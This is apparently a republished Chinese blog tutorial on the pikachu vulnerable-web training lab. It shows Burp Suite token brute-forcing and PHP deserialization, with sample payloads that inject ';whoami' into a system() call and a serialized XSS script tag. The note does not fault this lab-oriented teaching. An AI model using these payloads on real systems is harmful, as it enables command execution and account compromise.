web漏洞靶場學習分享

靶場:pikachu靶場

pikachu漏洞靶場漏洞類型:

  • Burt Force(暴力破解漏洞)
  • XSS(跨站腳本漏洞)
  • CSRF(跨站請求偽造)
  • SQL-Inject(SQL注入漏洞)
  • RCE(遠程命令/代碼執行)
  • Files Inclusion(文件包含漏洞)
  • Unsafe file downloads(不安全的文件下載)
  • Unsafe file uploads(不安全的文件上傳)
  • Over Permisson(越權漏洞)
  • ../../../(目錄遍歷)
  • I can see your ABC(敏感信息泄露)
  • PHP反序列化漏洞
  • XXE(XML External Entity attack)
  • 不安全的URL重定向
  • SSRF(Server-Side Request Forgery)

今天重點說一下Token暴力破解與PHP反序列化

一、暴力破解之Token爆破

? ? ? ? token是表單驗證的方法之一、也是防止爆破的,但是它如果出現在前端頁面標簽中,就會被捕獲到實施爆破,因此就是去了它原本的作用。

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?表單爆破結果

首先爆破的方法與常規方法一樣,都要進行抓包。【在我的文章上有爆破表單賬號密碼過程和待驗證碼的爆破方法】

一、 當我們抓到包后進行添加攻擊者方法、選擇爆破方法是草叉方法,因為分別爆破、token是獨立的。

?二、之后我們進行token的爆破設置方法、首先在設置中找到Grep-Extract、讓它識別到token。

三、 之后我們點擊Add 、進行token識別設置

在Start after expression 部分是你的token開始標志、也就是除開這里,就是token的開始部分

之后再設置End at fied length 這個是token的結束長度、token的長度是多少、這里就設置多少

也可以設置end ad delimiter 是token結束的標志。

四、之后、我們設置Redirctions 把它從Never 改到always,設置重定向

?五、我們設置token的payload、把payload類型設置為Recursive grep,并且把payload sttings[Recursive grep]中的frst request【第一個請求】設置我們當時抓包的token值

?以上設置好后,pyload1 和普通爆破模式一樣、爆破即可。

二、PHP反序列化

?在面向對象編程語言中有類的概念,當我們把類轉化為字符串輸出就是進行了一次序列化操作。

那么我們將序列化后的字符串進行還原便是反序列化操作。

例如:我們進行個序列化操作

 <?php 
//聲明個類human
class human{
//定義變量屬性public $name = "小李";public $age = "20";
}
//將類實體化
$Li = new human();
//序列化
$enstr = serialize($Li);
//反序列化
$class_str = unserialize($enstr);
var_dump($class_str)
?>

此時輸出結果為:O:5:"human":2:{s:4:"name";s:6:"小李";s:10:"humanage";s:2:"20";}?

?我們來看一下字符串:O 表示對象(Object)5表示類名長度,后面跟著類名字、2表示有兩個屬性、其中內容用{}括起來、s表示字符串(string)4表示變量名長度、、、、以此類推。

這是進行了一次序列化操作、那么反序列化呢?

 <?php 
//聲明個類human
class human{
//定義變量屬性public $name = "小李";public $age = "20";
}
//將類實體化
$Li = new human();
//序列化
$enstr = serialize($Li);
//反序列化
$class_str = unserialize($enstr);
var_dump($class_str)?>

輸出結果為:?

object(human)#2 (2) {
? ["name"]=>
? string(6) "小李"
? ["age"]=>
? string(2) "20"
}

由此我們就進行了一次序列化和反序列化操作。

PHP反序列化漏洞

那么、在此過程中是如何有漏洞發生呢?這就要談到php的魔法函數。在序列化和反序列化中魔法函數是以下劃線開頭的函數、它們會在特定的事件發生后自動調用、這樣增加了類的靈活性。

其中魔法函數有:

__construct()? ?????對象被創建時候調用

__destruct()? ? ? ? 對象銷毀時調用

__toString()? ? ? ? 對象當作字符串時調用

__get()? ? ? ? ? ? ? ? 在訪問對象時候不存在或不可訪問屬性時調用

__set()? ? ? ? ? ? ? ? 給不存在的訪問對象或者不可訪問屬性賦值時調用

__call()? ? ? ? ? ? ? ?當調用對象不存在時調用

__callstatic()? ? ? ?當類中不存在靜態類時調用

魔法函數還有很多種、不一一舉例了。

 <?php 
//聲明個類human
class human{
//定義變量屬性public $name = "小李";//當類被創建時調用public function __construct(){echo "此類被創建了!我的名字是".$this->name;}//當類被銷毀時調用public function __destruct(){echo "此類被銷毀了!我的名字是".$this->name;}
}
//將類實體化
$Li = new human();
//序列化
$enstr = serialize($Li);
//輸出結果
echo $enstr
?>

其結果為:??此類被創建了!我的名字是小李O:5:"human":1:{s:4:"name";s:6:"小李";}此類被銷毀了!我的名字是小李

由此我們知道魔法函數的作用了,現在我們整理一下信息:

1、魔法函數是在類特定的情況被自動調用

2、類可以序列化以及反序列化。

那么、試想一下、類可序列化以及反序列化、那如果我們在魔法函數內的變量可控、并且進行序列化后再反序列化、并且可控函數是system()這樣執行系命令操作,那么這是不是就造成了任意命令執行呢?

漏洞payload:

<?php 
//聲明個類human
class human{
//定義變量屬性public $name = "小李";//當類被銷毀時調用public function __destruct(){system("echo 此類被銷毀了!我的名字是".$this->name);}
}
//將類實體化
$Li = new human();
//payload 中用;隔開分開執行命令、這樣保證后半部分單獨執行命令
$payload = "小李;whoami";
//把類中的name屬性替換掉攻擊命令
$Li-> name = $payload;
//序列化
$enstr = urlencode(serialize($Li));
//輸出結果
echo $enstr;
?>

我們進行了帶有執行系統命令的序列化操作后,目標進行反序列化操作即可執whoami命令了。

?那么我們來看pikaqiu中的反序列化漏洞吧:

pikachu提示說接收以及序列化的數據,那么我們就構造個前端XSS的序列化操作。

<?php 
//聲明個類human
class S{
//定義變量屬性var $test = "hello";
}
//將類實體化
$a = new S();
$payload = "<script>alert('xss')</script>";
$a-> test = $payload;
//序列化
$enstr = serialize($a);
//輸出結果
echo $enstr;
?>

?結果為:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

提交即可?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/900145.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/900145.shtml
英文地址,請注明出處:http://en.pswp.cn/news/900145.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

《Linux內存管理:實驗驅動的深度探索》【附錄】【實驗環境搭建 4】【Qemu 如何模擬numa架構】

我們在學習 linux 內核時&#xff0c;會涉及到很多 numa 的知識&#xff0c;那我們該如何在 qemu 中模擬這種情況&#xff0c;來配合我們的學習呢&#xff1f; 我們該如何模擬 如下的 numa 架構 Qemu 模擬 NUMA 架構 -M virt,gic-version3,virtualizationon,typevirt \ -cp…

YOLOv12 從預訓練邁向自主訓練,第一步數據準備

視頻講解&#xff1a; YOLOv12 從預訓練邁向自主訓練&#xff0c;第一步數據準備 前面復現過yolov12&#xff0c;使用pre-trained的模型進行過測試&#xff0c;今天來講下如何訓練自己的模型&#xff0c;第一步先準備數據和訓練格式 https://gitcode.com/open-source-toolkit/…

Keil 5 找不到編譯器 Missing:Compiler Version 5 的解決方法

用到自記&#xff1a; 下載地址&#xff1a; Keil5 MDK541.zip ?編輯https://pan.baidu.com/s/1bOPsuVZhD_Wj4RJS90Mbtg?pwdMDK5 問題描述 沒有找到 compiler version5 &#xff1a; 1. 下載 Arm Compiler 5 也可以直接點擊下載文章開頭的文件。 2. 安裝 直接安裝在KEI…

結腸鏡3D視頻數據集-C3VD論文中文版

文章目錄 標題作者摘要一、介紹1.1. 相關工作1.1.1. 內鏡重建數據集1.1.2. 注冊真實和虛擬內窺鏡圖像1.1.3. 2D-3D注冊1.2. 貢獻 二、方法2.1. 幻影模型生產2.2. 數據采集2.3. 注冊流程概述2.3.1. 數據預處理2.3.2. 目標深度估計2.3.3. 渲染深度幀2.3.4. 邊緣損失和優化 2.4. 模…

hadoop 集群的常用命令

# 查看HDFS目錄內容 hadoop fs -ls /path # 創建目錄 hadoop fs -mkdir /path/to/dir # 上傳本地文件到HDFS hadoop fs -put localfile /hdfs/path # 下載HDFS文件到本地 hadoop fs -get /hdfs/path localfile # 查看文件內容 hadoop fs -cat /hdfs/path/file # 刪除文件/…

MaxEnt物種分布建模全流程;R+ArcGIS+MaxEnt模型物種分布模擬、參數優化方法、結果分析制圖與論文寫作

融合R語言的MaxEnt模型具有以下具體優勢&#xff1a; 數據處理高效便捷 &#x1f4ca;強大的數據預處理功能&#xff1a;R語言提供了豐富的數據處理工具&#xff0c;能夠輕松完成數據清洗、篩選、轉換等操作&#xff0c;為MaxEnt模型提供高質量的輸入數據。 &#x1f310;自動…

Java基礎 4.4

1.方法快速入門 public class Method01 {//編寫一個main方法public static void main(String[] args) {//方法使用//1.方法寫好后&#xff0c;如果不去調用(使用)&#xff0c;不會輸出Person p1 new Person();p1.speak();//調用方法 p1.cal01();//調用計算方法1p1.cal02(10);…

Tiktok矩陣運營中使用云手機的好處

Tiktok矩陣運營中使用云手機的好處 云手機在TikTok矩陣運營中能夠大幅提高管理效率、降低封號風險&#xff0c;并節省成本&#xff0c;是非常實用的運營工具。TikTok矩陣運營使用云手機有很多優勢&#xff0c;特別是對于需要批量管理賬號、提高運營效率的團隊來說。以下是幾個…

指針函數、函數指針和指針函數指針的全面總結

C中指針函數、函數指針和指針函數指針的全面總結 一、核心概念區別 概念本質聲明示例核心特征指針函數返回指針的函數int* func(int);函數定義&#xff0c;返回值是指針類型函數指針指向函數的指針int (*ptr)(int);變量&#xff0c;存儲函數地址指針函數指針指向指針函數的指…

CherryStudio MCP實戰(一)filesystem篇

隨著DeepSeek的爆火&#xff0c;各行各業都在圍繞著大模型尋找新質量生產力。簡單來說&#xff0c;DeepSeek像是人的大腦&#xff0c;他可以推理&#xff0c;幫你思考一些問題&#xff0c;但是具體要做一些事情的時候&#xff0c;他還需要“手腳”來協同。MCP&#xff08;Model…

TCP基礎篇(一)

文章目錄 1.TCP 是如何保證可靠性的?2. 滑動窗口機制3 超時重傳4.TCP 報文格式5. 什么是 TCP 協議5.1 如何唯一確定一個 TCP 連接 6.TCP 三次握手過程6.1 可以兩次握手嗎? 7.TCP 的四次揮手7.1 為什么客戶端要等待2MSL&#xff1f; 8.linux 中查看 TCP 的連接9.TCP 為什么要有…

【Axure元件分享】時間范圍選擇器

時間范圍選擇器下拉選擇開始時間和結束時間&#xff0c;實現效果如下。 源文件截圖&#xff1a; 元件獲取方式&#xff1a;

大模型學習一:deepseek api 調用實戰以及參數介紹

一、說明 DeepSeek&#xff08;杭州深度求索人工智能基礎技術研究有限公司&#xff09;是一家專注于大語言模型&#xff08;LLM&#xff09;研發的中國創新型科技公司&#xff0c;成立于2023年7月17日&#xff0c;由幻方量化孵化。其核心產品包括開源推理模型DeepSeek-R1、多模…

【Linux網絡與網絡編程】03.UDP Socket編程

一、UDP Socket編程接口 // 創建套接字 int socket(int domain, int type, int protocol); // 參數&#xff1a; // domain&#xff1a;域&#xff08;協議家族&#xff09;&#xff0c;這里使用 AF_INET 表示進行網絡編程 // type&#xff1a;網絡通信傳輸的類型&#xff0…

linux gcc

一、常用編譯選項 ?基本編譯 gcc [input].c -o [output] ?示例&#xff1a; gcc hello.c -o hello # 將 hello.c 編譯為可執行文件 hello ./hello # 運行程序 ?分步編譯 預處理&#xff1a;-E&#xff08;生成 .i 文件&#xff09; gcc -E hello.c -o hello…

若依框架二次開發——RuoYi-AI 集成本地大模型

文章目錄 前提條件1. RuoYi-AI 已成功部署并運行2. Ollama 本地大模型已安裝1. 配置本地大模型2. 切換至本地模型3. 開始對話總結本文將詳細介紹如何在 RuoYi-AI 中集成本地 Ollama 大模型,使系統能夠在 離線環境 下提供智能對話能力。 前提條件 在開始集成本地大模型之前,…

Flask學習筆記 - 模板渲染

Flask 模板渲染 模板是包含占位符的 HTML 文件 Flask 使用 Jinja2 模板引擎來處理模板渲染。模板渲染允許你將動態內容插入到 HTML 頁面中&#xff0c;使得應用能夠生成動態的網頁內容。 創建模板&#xff1a;將 HTML 文件放在 templates 文件夾中&#xff0c;使用 Jinja2 占…

解碼 from XXX import * - 導入的真相

文章目錄 前言一、 什么是 from XXX import *?二、基本用法:導入的實際效果三、默認行為:無 __all__ 的情況四、與直接運行 XXX.py 的對比示例模塊使用 from XXX import *直接運行 python example.py關鍵差異五、為什么需要注意 from XXX import *?最佳實踐六、實際應用場景…

JavaScript 中常見的鼠標事件及應用

JavaScript 中常見的鼠標事件及應用 在 JavaScript 中&#xff0c;鼠標事件是用戶與網頁進行交互的重要方式&#xff0c;通過監聽這些事件&#xff0c;開發者可以實現各種交互效果&#xff0c;如點擊、懸停、拖動等。 在 JavaScript 中&#xff0c;鼠標事件類型多樣&#xff0…

Nacos注冊中心AP模式核心源碼分析(單機模式)

文章目錄 概述一、客戶端啟動主線流程源碼分析1.1、客戶端與Spring Boot整合1.2、注冊實例&#xff08;服務注冊&#xff09;1.3、發送心跳1.4、拉取服務端實例列表&#xff08;服務發現&#xff09; 二、服務端接收請求主線流程源碼分析2.1、接收注冊請求2.1.1、初始化注冊表2…